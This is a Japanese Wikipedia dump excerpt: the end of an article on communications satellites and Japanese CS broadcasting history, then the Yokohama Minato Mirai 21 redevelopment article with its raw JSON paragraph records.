[[放送]]は、技術的には[[通信]]の一形態であるが、日本では[[郵政省]]([[総務省]]の前身)が不特定多数向けを『放送』で、企業など認可団体の限定者向けを『通信』として、それぞれ厳格に区別し、用いる人工衛星もそれぞれ専用のものを使用していた。
[[放送衛星|直接放送衛星]](DBS)による放送(衛星放送/[[BS放送]])は、放送用に設計された高出力の人工衛星を用い、家庭の小型DBS用アンテナに向けて直接送信する。放送衛星はKuバンド(K-under。Kバンドの下で12GHz - 18[[GHz]])の高い方の周波数用いる。
[[1989年]]([[平成]]元年)10月1日に[[放送法]]が改正され、企業や業者向けの番組・プログラムを送信など、特定目的以外の利用を禁じていた通信衛星を利用した、不特定多数への直接放送(CS放送)が可能になった。[[1996年]](平成8年)にCSデジタルプラットフォーム事業者の[[スカパーJSAT|日本デジタル放送サービス]]が、CSデジタル放送事業の「[[スカパー!プレミアムサービス|パーフェクTV!]]」を開始した。
[[総務省]]は[[2009年]](平成21年)2月に、CS放送のうち放送衛星と同じ[[経度|東経]]110度に打ち上げられた通信衛星の[[N-SAT-110]]を利用する[[スカパー! (東経110度BS・CSデジタル放送)|スカパー!]]などの衛星放送を、法制度上「[[日本における衛星放送#制度上の区分|特別衛星放送]]」として[[日本における衛星放送|BSデジタル放送]]と普及計画を一本化した。[[スカパー!プレミアムサービス]]などの通信衛星を使用した衛星放送は「[[日本における衛星放送#制度上の区分|一般衛星放送]]」として扱われる。
== CS衛星放送関係略年表 ==
<!--
*[[1989年]][[10月1日]] - 放送法改正施行・通信衛星による直接放送を許可
-->
*[[1989年]]
**[[3月6日]] - [[JCSAT]]-1打ち上げ
**[[12月31日]] - JCSAT-2打ち上げ
*[[1992年]]
**[[2月4日]] - CSアナログ放送事業者6社認定。4月から順次サービス開始([[スカイポート]]、[[CSバーン]]([[10月1日]]))
**[[2月27日]] - [[SUPERBIRD]]-B打ち上げ
**6月 - [[CS-PCM音声放送]]開始
**[[12月2日]] - SUPERBIRD-A打ち上げ
*[[1995年]][[8月29日]] - JCSAT-3打ち上げ
*[[1996年]][[10月1日]] - 128度CSデジタル放送 パーフェクTV!放送開始
*[[1997年]]
**[[2月17日]] - JCSAT-4(現・JCSAT-R)打ち上げ
**[[7月28日]] - SUPERBIRD-C打ち上げ
**[[12月1日]] - 144度CSデジタル放送 [[ディレクTV]]放送開始
*[[1998年]]
**[[3月31日]] - CSバーンが放送をパーフェクTV!に移行し放送終了
**[[5月1日]] - パーフェクTV、事業開始前の124度CSデジタル放送 JスカイBが統合されて124・128度CSデジタル放送 スカイパーフェクTV!([[スカパー!プレミアムサービス|スカパー!]])となる
**[[9月30日]] - スカイポートが放送をスカイパーフェクTV!に移行し放送終了
*[[1999年]][[2月16日]] - JCSAT-4A打ち上げ
*[[2000年]]
**[[10月7日]]
***ディレクTV廃局、加入者はスカイパーフェクTV!に移行
***[[N-SAT-110]]打ち上げ
*[[2001年]][[5月1日]] - 144度CSデジタル音声放送 [[SOUND PLANET]]開始
*[[2002年]]
**[[3月1日]] - 110度CSデジタル放送 [[プラットワン]]開始
**[[3月29日]] - JCSAT-2A打ち上げ
**[[7月1日]]
***110度CSデジタル放送 スカイパーフェクTV!2開始
***110度CSデジタル放送 [[イーピー|蓄積型双方向サービス(ep)]]開始
*[[2004年]]
**[[3月1日]] - スカイパーフェクTV!2とプラットワンが統合、スカイパーフェクTV!110(スカパー!110、現・[[スカパー! (東経110度BS・CSデジタル放送)|スカパー!e2]])に
**[[3月31日]] - epが蓄積番組放送など一部サービスを終了
**12月1日 - 110度CSデジタル放送 [[WOWOWデジタルプラス]]開始
*[[2005年]]
**2月 - 144度CSデジタル放送 [[AccessTV]]開始
**[[4月4日]] - 154度CSデジタル音声放送 [[ミュージックバード|SPACE DiVA]]開始
*[[2006年]]
**[[8月12日]] - JCSAT-3A打ち上げ
**[[12月31日]] - WOWOWデジタルプラス終了
*[[2007年]][[12月22日]] - 144度CSデジタルテレビ放送 [[ホップテレビ|HOP TV]]開始
*[[2012年]][[5月16日]] - JCSAT-13打ち上げ
== 脚注 ==
{{脚注ヘルプ}}
=== 出典 ===
{{Reflist}}
== 関連項目 ==
* [[デジタルビデオブロードキャスティング]](DVB。欧州のデジタル衛星放送およびその方式)
* [[宇宙空間光通信]]
* [[衛星インターネットアクセス]]
* [[衛星放送]](BS・CS)
* [[衛星電話]]:ICO・イリジウム・グローバルスター
* [[テレデシック]]
* [[エコー (人工衛星)]]
* [[シンコム]]
* [[テルスター]]
* [[インテルサット]]
* [[インマルサット]]
* [[ワイドスター]]
* [[ユーテルサット]]
* [[アマチュア衛星]]
* [[電気通信役務利用放送法]]
* [[宇宙開発事業団]]/[[宇宙航空研究開発機構]]
* [[あやめ (人工衛星)]]
* [[さくら (人工衛星)]]
* [[スカパーJSAT]] - [[JCSAT]] - [[SUPERBIRD]]
* [[SNG (放送)]]
== 外部リンク ==
* {{科学映像館|industrial|80|衛星通信}}
: [[1964年]]、[[国際電信電話]](現・[[KDDI]])の企画の下で東京シネマが制作した短編映画《現在、上記サイト内に於いて無料公開中》。衛星通信の原理の紹介のほか、打ち上げられる通信衛星に関する紹介も為されている。
* {{Kotobank}}
{{BSデジタル放送}}
{{Telecommunications}}
{{日本の宇宙探査機・人工衛星}}
{{Normdaten}}
{{デフォルトソート:つうしんえいせい}}
[[Category:通信衛星|*]]
[[Category:人工衛星]]
[[Category:電気通信]]
[[be-x-old:Спадарожнікавая сувязь]]
[[ru:Спутниковая связь]] | 2003-04-17T03:14:27Z | 2023-12-03T03:41:25Z | false | false | false | [
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"Template:日本の宇宙探査機・人工衛星"
]
| https://ja.wikipedia.org/wiki/%E9%80%9A%E4%BF%A1%E8%A1%9B%E6%98%9F |
6,841 | 横浜みなとみらい21 | 横浜みなとみらい21(よこはまみなとみらい21、Minato Mirai 21)は、神奈川県横浜市の西区と中区にまたがり、横浜港に面している再開発地域である。また、1983年(昭和58年)度から現在にかけて整備が進められている計画都市である。都市景観100選受賞地区。略称は「みなとみらい」、「みなとみらい21」、「MM21」など。
1989年(平成元年)の横浜博覧会 (YES'89) 以降、当該地区の開発が本格化し、首都圏の新都心として、さいたま新都心(さいたま市)と幕張新都心(千葉市)に並び重点的に整備された。当地区全域は、横浜市における都心(ツインコア)の一つである横浜都心に指定されている。
2000年以降に急速に都市開発が進んだ。2023年現在では横浜とは別の自治体成化が確立しつつあり、様々な公共施設が点在し東京に次ぐ首都化が進んでいる。
1980年代に再開発が行われる以前、当地には三菱重工業横浜造船所、国鉄高島線(貨物支線)の東横浜駅および高島駅・高島ヤード(操車場)、高島埠頭、新港埠頭などの広大な港湾・業務関連施設が広がっており、横浜市の中心部に位置しているにもかかわらず一般の観光客が気軽に立ち寄れるような場所ではなかった。そのため、巨大ターミナル駅で市内随一の繁華街である横浜駅一帯(西区)と、横浜港開港以来の中心市街地である関内(中区)の2つの横浜都心(ツインコア)は長らく分断された状態が続いていた。そういった経緯から、それまでの港湾・業務施設の機能を他所に移転させ、横浜都心部の一体化と都市機能の強化を目指したウォーターフロント都市再開発として計画・建設された。
飛鳥田一雄横浜市長が1963年に当選し、横浜の五重苦と呼ばれた関東大震災、昭和恐慌、太平洋戦争による横浜大空襲、GHQによる占領と市内都心部の接収、および人口急増によるスプロール現象を克服することが地域としての大きな課題となっていた。そのため1965年に横浜市六大事業が提案され、都心部強化として三菱重工業横浜造船所、国鉄高島線の東横浜駅(貨物駅)・高島ヤード(操車場)、高島埠頭、新港埠頭の一帯を再整備し横浜駅周辺と関内・伊勢佐木町という2つに分断された横浜都心部を一体化させる「都心部強化事業」として、就業人口19万人・居住人口1万人を目標とした事業計画が打ち出された。以降、オイルショックをはじめとする経済情勢の影響などにより計画はしばらく進行していなかったが、1979年に細郷道一横浜市長の下で「横浜市都心臨海部総合整備計画」基本構想が発表され、三菱重工業横浜造船所等の移転完了とともに1983年に「みなとみらい21」事業としてようやく着工に至った(事業名および街の名称の決定については後節「#街の名称について」を参照)。なお、この時点では高島ヤード周辺の開発の目処が立っていなかったため、横浜駅側からではなく、前述の造船所跡が広がる桜木町駅側から開発を進めていくことになった。
また、首都圏は東京23区(特に都心3区)の都市機能の集積が大きいため、横浜市は自治体として日本一の人口を擁するものの東京の衛星都市・ベッドタウンとしての側面が強く、横浜市から東京への通勤・通学者数が多いことから横浜市の昼夜間人口比率は常に100を下回り続けてきた。このような東京都心一極集中から首都圏での展都という趨勢の中で、みなとみらい計画は神奈川県および横浜市の経済拠点として首都圏経済を牽引する役割の分担により東京都心の負荷を軽減し、さらには市内経済を活性化するため、企業法人本社機能や事業所等の立地促進、企業法人の集積の波及として起こる中小企業の活性化や新規起業者の増加などを目指している。具体的には日産自動車やいすゞ自動車、京浜急行電鉄といった大企業の東京からの本社移転や、富士フイルム、ソニー、資生堂、村田製作所、韓国のLGなどの研究開発施設(R&Dセンター)の誘致に成功し、横浜市の業務機能(オフィスビル)・就業人口の拡大に寄与した。
このように、本計画は横浜市において2つに分断された都心部を一体化させることで都市機能を充実し、昼間人口や就業人口を増やすことで市内経済の活性化を目指し、地域社会の成長を目指した施策である。
当地区の細かい区分として、横浜ランドマークタワーや日産自動車グローバル本社などがありオフィスビル開発を推進する「中央地区」と、横浜赤レンガ倉庫やよこはまコスモワールドなどがある「新港地区」、横浜新都市ビル(そごう横浜店)や横浜スカイビルがある68街区の「横浜駅東口地区」(出島地区)に分けられる。当地区全体の面積は約1.86km(約186ha)、そのうち埋め立て部は約0.76km(約76ha)である。また、2014年度に策定された「横浜市都心臨海部再生マスタープラン」では「みなとみらい21地区」として、都心臨海部五地区のうちの一つに指定されている。さらに当地区全体は「横浜都心・臨海地域」の一部として都市再生特別措置法による都市再生緊急整備地域に指定されており、そのうち中央地区(臨港パークや日本丸メモリアルパークなど一部除く)は特定都市再生緊急整備地域にも指定されている。
当地区の整備は、あらかじめ決められた基本的方針によって計画的に行われており、「21世紀にふさわしい未来型都市」を目指して開発が進められている。電線・電話線(光ファイバー)は共同溝により上下水道などとともに埋設され、さらに共同溝によるごみ集積(廃棄物管路収集、2017年度末に廃止)、地域冷暖房(みなとみらい21熱供給が運営)を導入しており、省エネにも配慮している。すべての幹線道路の歩道には街路樹が植えられ(後述)、建設される建物は白を基調(新港地区は茶色系統)とし統一感を持たせている。
また、災害・非常時の対策として臨港パーク、高島中央公園、ヨーヨー広場、カップヌードルミュージアムパーク(新港パーク)の地下に災害用地下給水タンク(4基あわせて約4,500m 、50万人分の飲料水3日分を貯水)が設置されている。この他、中央地区の大部分は埋立地であるが液状化対策として、造成時に粒径が異なる土砂を使用したり、地中では各種地盤改良も施されている。さらに津波対策として中央地区では護岸の高さが標高2.7 - 3.1m、宅地の高さが標高3.1 - 5.0mに設定されているなど、当初より災害に強い街づくりが行われている。
当地区の中核には、高さ296mで建設当時日本一高いビルであった横浜ランドマークタワーがある(現在は2番目)。このビルを頂点として、海側に向かって建物の高さが段々と低くなるスカイラインが形成されている。ランドマークタワー横の「ドックヤードガーデン」は造船所で実際にドックとして使われていたもので、1997年(平成9年)12月に国の重要文化財に指定されている(指定名:旧横浜船渠株式会社第二号船渠)。また、1911年(明治44年)と1913年(大正2年)にそれぞれ竣工した新港地区の横浜赤レンガ倉庫(1号館・2号館)は5年以上かけて修復工事および周辺の整備が行われ、2002年に「赤レンガパーク」としてオープンし、現在では横浜を代表する観光地となっている。
当地区の道路は、「みなとみらい大通り」「国際大通り」の2本の大通り(主要幹線道路)と、それらを結ぶ「さくら通り」「けやき通り」「いちょう通り」「すずかけ通り」「とちのき通り」(幹線道路)で構成されている。これらの通りにはそれぞれ四季を代表する種類の異なった街路樹が植えられており、みなとみらい大通りがクスノキ、さくら通りがソメイヨシノ、けやき通りがケヤキ、いちょう通りがイチョウ、すずかけ通りがプラタナス、とちのき通りがベニバナトチノキとなっている(みなとみらい大通りを除き、通りの呼び名は街路樹の種類に因む)。また道路とは別に歩行者専用通路として、クイーン軸・グランモール軸・キング軸(整備中)という三つの軸が整備されている(詳細は後節)。一方、横浜港を周回する「臨港幹線道路」の一部として、山内埠頭(コットンハーバー)方面へ至る連絡橋(みなとみらい橋、コットン大橋)が予定より大幅に遅れて2008年12月に開通しており、同道路の国際大通り地下部分に当たる整備計画では、みなとみらい橋手前から横浜ワールドポーターズ付近までの延長約1.3kmのトンネルが長期供用延期の末、2013年3月に「みなとみらいトンネル」としてようやく開通に至った。この他に今後整備予定の道路として、みなとみらい大通り(栄本町線)の橋で帷子川下流・港湾上に架かるみなとみらい大橋と、そごうやスカイビルが建設されている68街区の横浜駅東口地区(出島地区)を結ぶ「栄本町線支線1号」の計画がある。
公共交通機関では2004年に横浜高速鉄道みなとみらい線が開業し、当地区内にも新高島駅とみなとみらい駅が設置された。さらに新しい交通システムとして、2020年7月に横浜市が当地区内を経由する連節バス「ベイサイドブルー」の運行を開始しているほか、LRT(次世代型路面電車システム)の導入検討や索道(ロープウェイなど)による複数の空中交通構想も浮上している。なお、索道のうちコスモワールドを運営する泉陽興業による桜木町駅前から運河パーク(横浜ワールドポーターズ前)まで汽車道沿いの南側(北仲通地区寄り)を通るロープウェイ「YOKOHAMA AIR CABIN」は、2021年4月に開業している(設置・運営など事業に関する費用を同社が全額負担するため横浜市の公費負担はなし)。
当初は2000年頃までに街全体の完成を目指していたが、バブル崩壊の影響などにより計画は延期されている。2000年代より、中田宏横浜市長や松沢成文神奈川県知事の積極的な企業誘致とともに、横浜市では企業立地促進条例が制定され、神奈川県もインベスト神奈川を策定し、市税の減額や助成金など企業の負担を軽減する措置によって優良な企業立地環境の整備を行っている。2008年末のリーマン・ショックに端を発する世界的な景気後退の影響を受け、いくつかのオフィスビル建設計画では中止・延期等もあったが、後任の林文子横浜市長は引き続き企業誘致に向けたトップセールスを行い、上場企業の本社機能立地が着実に進んでおり、さらに2010年代半ば以降は研究開発拠点や音楽施設の集積なども進んでいる。
この他、2010年には横浜国際平和会議場(パシフィコ横浜)でアジア太平洋経済協力首脳会議 (APEC) が開催されたが、コンベンション機能を拡張するため2020年に向けて新展示場「横浜みなとみらい国際コンベンションセンター」(パシフィコ横浜ノース)が整備され、国際会議の誘致などMICE市場に注力している。また、新港地区では新たな客船ターミナル複合施設「横浜ハンマーヘッド」(新港ふ頭客船ターミナル)が整備され、クルーズ客船の誘致にも力を入れている。
当地区は現在も事業中であり、2021年6月時点の事業進捗率は約96.0%、暫定利用施設を除く本格利用が決定している土地(建設中・計画中含む)の割合は約90.8%となっている。近年では、これまで一定期間で打ち切っていた開発事業者の公募を継続して行うようにしたり、横浜市の指定地域における環境アセスメントの緩和(条例改正)などにより開発条件の柔軟性と共に、経済状況に左右されがちだった当地区の開発にスピード性を持たせている。街づくりとしては業務、集合住宅、商業、観光などの用途で集積が進み最終段階に入りつつある。2021年12月時点の就業人口は約12万5,000人(前年比約8千人増)と増加傾向にある。さらに首都圏における観光地・行楽地としての人気も高く、2019年の年間来街者数は約8,340万人(前年比約30万人増)と1999年の集計開始以降2001年より約20年間概ね増加を続けている。一方、当地区内の人口も2017年12月時点時点で8,500人に上っており、今後も児童数の増加が見込まれることから、2018年 - 2028年度の10年間限定で地区内に横浜市立みなとみらい本町小学校(同本町小学校から分離新設)を開校している。
以下はみなとみらい地区内において、一度は計画されながら何らかの理由により中止となった開発計画である。
※「キング軸」、「クイーン軸」、「グランモール軸」の3つの歩行者動線については、後節の「#ペデストリアン軸(歩行者動線)」を参照。
各街区の位置・詳細情報は、横浜市都市整備局の「みなとみらい21街区開発状況」および「開発状況図(当地区事業概要ページの“最近の状況:街区開発”内を参照)」を参照。また、中央地区における各街区の高さ制限等については同局サイト内の「みなとみらい21中央地区地区計画」および「計画図 (PDF) 」、あるいはみなとみらいエリアマネジメント公式サイト内の「中央地区の街づくり」を参照。
当地区では重要な歩行者ネットワーク(歩行者専用通路)として「キング軸」、「クイーン軸」、「グランモール軸」という三つのペデストリアン軸(英語で pedestrian には「歩行者」という意味がある、軸は都市の根幹を形成する都市軸)を整備する方針となっている。このうち、クイーン軸とグランモール軸の整備はほぼ完了しているが、キング軸は後述のように現在も未整備箇所が一部残る。
なお、キング軸とクイーン軸の名称は横浜三塔とされる建物の愛称からきており、残るジャックについては借用期限のある暫定施設として、グランモール軸に商業施設「ジャックモール」(2012年9月営業終了)が造られた。
桜木町駅方面からの動線。商業の中心であるランドマークタワーやクイーンズスクエア、さらに国際会議場がある横浜国際平和会議場(パシフィコ横浜)といった当地区を象徴する施設が並ぶ。
まず、桜木町駅前からランドマークタワーまで続いている動く歩道と接続し、ランドマークタワーの2階部分に併設しているショッピングモール「ランドマークプラザ」からクイーンズスクエア内の「クイーンモール」を通り、パシフィコ横浜まで結んでいる。
クイーン軸とキング軸を繋ぐ動線で、軸の両端はそれぞれみなとみらい駅と新高島駅の近辺に当たる。
ランドマークタワーとクイーンズスクエアの中間部分にある「ヨーヨー広場」からクイーン軸と交差するようにMARK IS みなとみらいおよび横浜美術館前(美術の広場)、横浜アイマークプレイス(旧ジャックモール)前へと約700mにわたって整備されている「グランモール公園」、さらに新高島駅周辺(旧GENTO YOKOHAMA周辺)まで結んでいる。この区間は横断歩道による軸の切れ目も存在する。
なお、新高島駅周辺から先は横浜グランゲート(54街区)と接続する「みなとみらい歩道橋」、日産本社2階部分の「NISSANウォーク」と続いて「はまみらいウォーク」で帷子川を渡り、横浜駅東口のそごうがある新都市ビルおよびスカイビルの2階部分へアクセスが可能である。
横浜駅および新高島駅周辺のビジネスゾーンと海側を結ぶ動線。
軸の西端(58街区・横濱ゲートタワー付近)では「高島二丁目歩道橋」(高島二丁目地区にアクセスする、国道1号を渡る歩道橋)と接続しており、そこから東方の海側に向けてグランモール軸と交差する新高島駅周辺・横浜グランゲート前(旧GENTO YOKOHAMA周辺)や高島中央公園、さらには集合住宅地域(Brillia Grandeみなとみらいなどがある50街区)を通り、臨港パークの「潮入りの池」まで一直線に結ぶ計画となっている。しかし長年、日産本社前や新高島駅周辺、集合住宅地域と臨港パークの間など未開発街区が多く残されていたため、周囲の開発の進捗に合わせて軸の整備を行う方針としていた。2012年度には臨港パーク内でキング軸の一部となる階段の整備が行われた。また、2010年代半ば以降には後述の20街区における開発などが決まり、その他の未整備箇所においても軸の整備に向けて動き出している。なお、キング軸が通る新高島駅周辺の52〜54街区(ビジネスゾーンA)はランドマークタワーのある25街区(商業ゾーンA)と同様に、高さ300mまでの建物が建設可能なエリアとなっている。
臨港パーク寄りの20街区では稼働率が限界に近づくパシフィコ横浜の機能を拡張するため、新たな展示場(MICE施設)として「横浜みなとみらい国際コンベンションセンター」(パシフィコ横浜ノース)が整備され2020年に開業した。キング軸はこの20街区の中央付近を通るため、同街区周辺を中心としてMICE拠点都市の顔となるべく緑豊かなビジネス交流空間の形成を目指している。さらにキング軸沿いの開発計画では同軸の地区施設面積のうち50%以上の緑化を目指しており、象徴性かつ独創性のある緑化となるようガイドラインによる誘導も行う方針である。なお、当初の計画では軸の中心線に沿って臨港パークの「潮入りの池」まで、“流れる水のネットワーク”(水路)を敷くイメージが描かれていたが、かつて存在したグランモール軸の水路も既に廃止されており(参照)、現在では水路を設けない計画に変更されている。2021年4月にはキング軸の東端にあたる臨港パークとパシフィコ横浜ノース周辺(20街区)から高島中央公園方面を結ぶキング軸整備の一環として、キングモール橋が供用開始された。
なお、明治末期の1911年から1980年代まではこの地区に東海道本線の貨物支線(横浜臨港線)が存在し、横浜港に設けられた「横浜港駅」へは東京駅から「ボート・トレイン」と呼ばれる外国航路へ接続する臨時旅客列車も設定されていた。現在、その廃線跡地が遊歩道の「汽車道」として整備されており、この地区の観光名所にもなっている。
毎年あるいは数年おきに開催される主なイベントを以下に記す。
「みなとみらい21」という名称は、「みなと横浜」をイメージしつつ、「未来への発展を目指す21世紀の横浜にふさわしい」名称として、1981年、一般公募された約2300点のなかから選出された。他の候補には、「アクアコスモ」「コスモポート」「赤い靴シティ」「シーサイドタウン」「シーガルタウン」「ベイシティ」等があった。
決選投票は「赤い靴シティ」と「みなとみらい21」で行われた。なお、「みなとみらい21」の名称は一次選考では落選しており、二次選考の委員から再度発掘されたものである(特に二次選考委員であった柳原良平が「横浜といえば港町である」という理由で強く推したことによる)。 | [
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"text": "横浜みなとみらい21(よこはまみなとみらい21、Minato Mirai 21)は、神奈川県横浜市の西区と中区にまたがり、横浜港に面している再開発地域である。また、1983年(昭和58年)度から現在にかけて整備が進められている計画都市である。都市景観100選受賞地区。略称は「みなとみらい」、「みなとみらい21」、「MM21」など。",
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"text": "1989年(平成元年)の横浜博覧会 (YES'89) 以降、当該地区の開発が本格化し、首都圏の新都心として、さいたま新都心(さいたま市)と幕張新都心(千葉市)に並び重点的に整備された。当地区全域は、横浜市における都心(ツインコア)の一つである横浜都心に指定されている。",
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"text": "2000年以降に急速に都市開発が進んだ。2023年現在では横浜とは別の自治体成化が確立しつつあり、様々な公共施設が点在し東京に次ぐ首都化が進んでいる。",
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"text": "1980年代に再開発が行われる以前、当地には三菱重工業横浜造船所、国鉄高島線(貨物支線)の東横浜駅および高島駅・高島ヤード(操車場)、高島埠頭、新港埠頭などの広大な港湾・業務関連施設が広がっており、横浜市の中心部に位置しているにもかかわらず一般の観光客が気軽に立ち寄れるような場所ではなかった。そのため、巨大ターミナル駅で市内随一の繁華街である横浜駅一帯(西区)と、横浜港開港以来の中心市街地である関内(中区)の2つの横浜都心(ツインコア)は長らく分断された状態が続いていた。そういった経緯から、それまでの港湾・業務施設の機能を他所に移転させ、横浜都心部の一体化と都市機能の強化を目指したウォーターフロント都市再開発として計画・建設された。",
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"text": "飛鳥田一雄横浜市長が1963年に当選し、横浜の五重苦と呼ばれた関東大震災、昭和恐慌、太平洋戦争による横浜大空襲、GHQによる占領と市内都心部の接収、および人口急増によるスプロール現象を克服することが地域としての大きな課題となっていた。そのため1965年に横浜市六大事業が提案され、都心部強化として三菱重工業横浜造船所、国鉄高島線の東横浜駅(貨物駅)・高島ヤード(操車場)、高島埠頭、新港埠頭の一帯を再整備し横浜駅周辺と関内・伊勢佐木町という2つに分断された横浜都心部を一体化させる「都心部強化事業」として、就業人口19万人・居住人口1万人を目標とした事業計画が打ち出された。以降、オイルショックをはじめとする経済情勢の影響などにより計画はしばらく進行していなかったが、1979年に細郷道一横浜市長の下で「横浜市都心臨海部総合整備計画」基本構想が発表され、三菱重工業横浜造船所等の移転完了とともに1983年に「みなとみらい21」事業としてようやく着工に至った(事業名および街の名称の決定については後節「#街の名称について」を参照)。なお、この時点では高島ヤード周辺の開発の目処が立っていなかったため、横浜駅側からではなく、前述の造船所跡が広がる桜木町駅側から開発を進めていくことになった。",
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"text": "また、首都圏は東京23区(特に都心3区)の都市機能の集積が大きいため、横浜市は自治体として日本一の人口を擁するものの東京の衛星都市・ベッドタウンとしての側面が強く、横浜市から東京への通勤・通学者数が多いことから横浜市の昼夜間人口比率は常に100を下回り続けてきた。このような東京都心一極集中から首都圏での展都という趨勢の中で、みなとみらい計画は神奈川県および横浜市の経済拠点として首都圏経済を牽引する役割の分担により東京都心の負荷を軽減し、さらには市内経済を活性化するため、企業法人本社機能や事業所等の立地促進、企業法人の集積の波及として起こる中小企業の活性化や新規起業者の増加などを目指している。具体的には日産自動車やいすゞ自動車、京浜急行電鉄といった大企業の東京からの本社移転や、富士フイルム、ソニー、資生堂、村田製作所、韓国のLGなどの研究開発施設(R&Dセンター)の誘致に成功し、横浜市の業務機能(オフィスビル)・就業人口の拡大に寄与した。",
"title": "概要"
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"text": "このように、本計画は横浜市において2つに分断された都心部を一体化させることで都市機能を充実し、昼間人口や就業人口を増やすことで市内経済の活性化を目指し、地域社会の成長を目指した施策である。",
"title": "概要"
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"text": "当地区の細かい区分として、横浜ランドマークタワーや日産自動車グローバル本社などがありオフィスビル開発を推進する「中央地区」と、横浜赤レンガ倉庫やよこはまコスモワールドなどがある「新港地区」、横浜新都市ビル(そごう横浜店)や横浜スカイビルがある68街区の「横浜駅東口地区」(出島地区)に分けられる。当地区全体の面積は約1.86km(約186ha)、そのうち埋め立て部は約0.76km(約76ha)である。また、2014年度に策定された「横浜市都心臨海部再生マスタープラン」では「みなとみらい21地区」として、都心臨海部五地区のうちの一つに指定されている。さらに当地区全体は「横浜都心・臨海地域」の一部として都市再生特別措置法による都市再生緊急整備地域に指定されており、そのうち中央地区(臨港パークや日本丸メモリアルパークなど一部除く)は特定都市再生緊急整備地域にも指定されている。",
"title": "概要"
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"text": "当地区の整備は、あらかじめ決められた基本的方針によって計画的に行われており、「21世紀にふさわしい未来型都市」を目指して開発が進められている。電線・電話線(光ファイバー)は共同溝により上下水道などとともに埋設され、さらに共同溝によるごみ集積(廃棄物管路収集、2017年度末に廃止)、地域冷暖房(みなとみらい21熱供給が運営)を導入しており、省エネにも配慮している。すべての幹線道路の歩道には街路樹が植えられ(後述)、建設される建物は白を基調(新港地区は茶色系統)とし統一感を持たせている。",
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"text": "また、災害・非常時の対策として臨港パーク、高島中央公園、ヨーヨー広場、カップヌードルミュージアムパーク(新港パーク)の地下に災害用地下給水タンク(4基あわせて約4,500m 、50万人分の飲料水3日分を貯水)が設置されている。この他、中央地区の大部分は埋立地であるが液状化対策として、造成時に粒径が異なる土砂を使用したり、地中では各種地盤改良も施されている。さらに津波対策として中央地区では護岸の高さが標高2.7 - 3.1m、宅地の高さが標高3.1 - 5.0mに設定されているなど、当初より災害に強い街づくりが行われている。",
"title": "概要"
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"text": "当地区の中核には、高さ296mで建設当時日本一高いビルであった横浜ランドマークタワーがある(現在は2番目)。このビルを頂点として、海側に向かって建物の高さが段々と低くなるスカイラインが形成されている。ランドマークタワー横の「ドックヤードガーデン」は造船所で実際にドックとして使われていたもので、1997年(平成9年)12月に国の重要文化財に指定されている(指定名:旧横浜船渠株式会社第二号船渠)。また、1911年(明治44年)と1913年(大正2年)にそれぞれ竣工した新港地区の横浜赤レンガ倉庫(1号館・2号館)は5年以上かけて修復工事および周辺の整備が行われ、2002年に「赤レンガパーク」としてオープンし、現在では横浜を代表する観光地となっている。",
"title": "概要"
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"text": "当地区の道路は、「みなとみらい大通り」「国際大通り」の2本の大通り(主要幹線道路)と、それらを結ぶ「さくら通り」「けやき通り」「いちょう通り」「すずかけ通り」「とちのき通り」(幹線道路)で構成されている。これらの通りにはそれぞれ四季を代表する種類の異なった街路樹が植えられており、みなとみらい大通りがクスノキ、さくら通りがソメイヨシノ、けやき通りがケヤキ、いちょう通りがイチョウ、すずかけ通りがプラタナス、とちのき通りがベニバナトチノキとなっている(みなとみらい大通りを除き、通りの呼び名は街路樹の種類に因む)。また道路とは別に歩行者専用通路として、クイーン軸・グランモール軸・キング軸(整備中)という三つの軸が整備されている(詳細は後節)。一方、横浜港を周回する「臨港幹線道路」の一部として、山内埠頭(コットンハーバー)方面へ至る連絡橋(みなとみらい橋、コットン大橋)が予定より大幅に遅れて2008年12月に開通しており、同道路の国際大通り地下部分に当たる整備計画では、みなとみらい橋手前から横浜ワールドポーターズ付近までの延長約1.3kmのトンネルが長期供用延期の末、2013年3月に「みなとみらいトンネル」としてようやく開通に至った。この他に今後整備予定の道路として、みなとみらい大通り(栄本町線)の橋で帷子川下流・港湾上に架かるみなとみらい大橋と、そごうやスカイビルが建設されている68街区の横浜駅東口地区(出島地区)を結ぶ「栄本町線支線1号」の計画がある。",
"title": "概要"
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"text": "公共交通機関では2004年に横浜高速鉄道みなとみらい線が開業し、当地区内にも新高島駅とみなとみらい駅が設置された。さらに新しい交通システムとして、2020年7月に横浜市が当地区内を経由する連節バス「ベイサイドブルー」の運行を開始しているほか、LRT(次世代型路面電車システム)の導入検討や索道(ロープウェイなど)による複数の空中交通構想も浮上している。なお、索道のうちコスモワールドを運営する泉陽興業による桜木町駅前から運河パーク(横浜ワールドポーターズ前)まで汽車道沿いの南側(北仲通地区寄り)を通るロープウェイ「YOKOHAMA AIR CABIN」は、2021年4月に開業している(設置・運営など事業に関する費用を同社が全額負担するため横浜市の公費負担はなし)。",
"title": "概要"
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"text": "当初は2000年頃までに街全体の完成を目指していたが、バブル崩壊の影響などにより計画は延期されている。2000年代より、中田宏横浜市長や松沢成文神奈川県知事の積極的な企業誘致とともに、横浜市では企業立地促進条例が制定され、神奈川県もインベスト神奈川を策定し、市税の減額や助成金など企業の負担を軽減する措置によって優良な企業立地環境の整備を行っている。2008年末のリーマン・ショックに端を発する世界的な景気後退の影響を受け、いくつかのオフィスビル建設計画では中止・延期等もあったが、後任の林文子横浜市長は引き続き企業誘致に向けたトップセールスを行い、上場企業の本社機能立地が着実に進んでおり、さらに2010年代半ば以降は研究開発拠点や音楽施設の集積なども進んでいる。",
"title": "概要"
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"paragraph_id": 14,
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"text": "この他、2010年には横浜国際平和会議場(パシフィコ横浜)でアジア太平洋経済協力首脳会議 (APEC) が開催されたが、コンベンション機能を拡張するため2020年に向けて新展示場「横浜みなとみらい国際コンベンションセンター」(パシフィコ横浜ノース)が整備され、国際会議の誘致などMICE市場に注力している。また、新港地区では新たな客船ターミナル複合施設「横浜ハンマーヘッド」(新港ふ頭客船ターミナル)が整備され、クルーズ客船の誘致にも力を入れている。",
"title": "概要"
},
{
"paragraph_id": 15,
"tag": "p",
